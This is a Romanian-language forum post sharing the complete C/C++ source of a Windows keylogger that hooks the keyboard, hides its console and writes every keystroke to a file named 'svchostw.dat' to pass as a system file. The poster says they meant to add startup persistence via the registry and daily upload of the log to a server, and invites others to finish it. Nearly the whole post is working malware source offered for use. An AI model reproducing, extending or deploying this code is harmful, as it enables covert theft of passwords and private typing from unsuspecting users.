Jump to content
Zamolxis666

[C C++] Keylogger

Recommended Posts

Salutare,

Acum ceva timp in urma postase Slick un keylogger care "agata" un hook de tastatura si de fiecare data cand apasai o tasta iti semnala acest lucru printr-o pereche de paranteze afisate in consola.

Am modificat proiectul lui a.i. consola nu mai este afisata, iar tastele apasate sunt inregistrate intr-un fisier. Initial planuisem sa bag programul in registrii sa porneasca automat la startup, iar log-ul sa fie de asemenea urcat automat pe server 1 data /zi. Din pacate, timpul si problemele de acasa m-au facut sa renunt la proiect si il postez aici, in speranta ca cineva il va continua, sau va invata ceva folositor:


#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>

HHOOK hKeyHook; // hook`ul
bool shift = false;
bool caps = false;
FILE *f;

// Acesta functia este exportata din executabil la fel ca o functie care face parte dintr-in dll
__declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode,WPARAM wParam,LPARAM lParam)
{
if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
KBDLLHOOKSTRUCT hooked=*((KBDLLHOOKSTRUCT*)lParam); // diverse informatii despre tasta apasata
DWORD dwMsg=1;

if(hooked.vkCode == VK_SHIFT && shift == false)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[SHIFT]");
fclose(f);
shift = true;
}
else if(hooked.vkCode == VK_SHIFT && shift == true)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[SHIFT]");
fclose(f);
shift = false;
}
else if(hooked.vkCode == VK_CAPITAL && caps == true)
caps = false;
else if(hooked.vkCode == VK_CAPITAL && caps == false)
caps = true;
else if((0x41 <= hooked.vkCode && hooked.vkCode <= 0x5A) && (caps || shift))
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%c", hooked.vkCode);
fclose(f);
}
else if((0x41 <= hooked.vkCode && hooked.vkCode <= 0x5A) && (caps==false && shift == false))
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%c", tolower(hooked.vkCode));
fclose(f);
}
else if(VK_NUMPAD0 <= hooked.vkCode && hooked.vkCode <= VK_NUMPAD9)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%d", hooked.vkCode - 0x60);
fclose(f);
}
else if(0x30 <= hooked.vkCode && hooked.vkCode <= 0x39)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%d", hooked.vkCode - 0x30);
fclose(f);
}
else if(hooked.vkCode == VK_OEM_1)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[;:]");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_2)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[/?]");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_3)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[`~]");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_4)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[ [{ ]");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_5)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[\\|]");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_6)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[ ]} ]");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_7)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "['\"]");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_PLUS)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "+");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_COMMA)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", ",");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_MINUS)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "-");
fclose(f);
}
else if(hooked.vkCode == VK_OEM_PERIOD)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", ".");
fclose(f);
}
else if(hooked.vkCode == VK_RETURN)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "\n");
fclose(f);
}
else if(hooked.vkCode == VK_TAB)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[TAB]");
fclose(f);
}
else if(hooked.vkCode == VK_DELETE)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[DEL]");
fclose(f);
}
else if(hooked.vkCode == VK_BACK)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", "[BACK]");
fclose(f);
}
else if(hooked.vkCode == VK_SPACE)
{
f = fopen("svchostw.dat", "a");
fprintf(f, "%s", " ");
fclose(f);
}

}
return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
}

// un ciclu de mesaje folosit ca sa blocheze executia cat timp sunt logate tastele
void MsgLoop()
{
MSG message;
while(GetMessage(&message,NULL,0,0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}

// instaleaza hook`ul si incepe ciclul pentru capturarea tastelor apasate
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe=GetModuleHandle(NULL);
if (!hExe) hExe=LoadLibrary((LPCWSTR) lpParameter);
if (!hExe) return 1; // eroare, iesim din program
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,0); // instalam hook`ul
MsgLoop(); // asteptam apasarea tastelor
UnhookWindowsHookEx(hKeyHook); // dezinstalam hook`ul
return 0;
}

int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;

hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID) argv[0], 0, &dwThread); // incepem functia de logging intr-un alt thread
if(hThread)
{
return WaitForSingleObject(hThread,INFINITE);
}
else
{
return 1;
}
}

link to pastebin:

[C] KLg - Pastebin.com

Toate cele bune

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...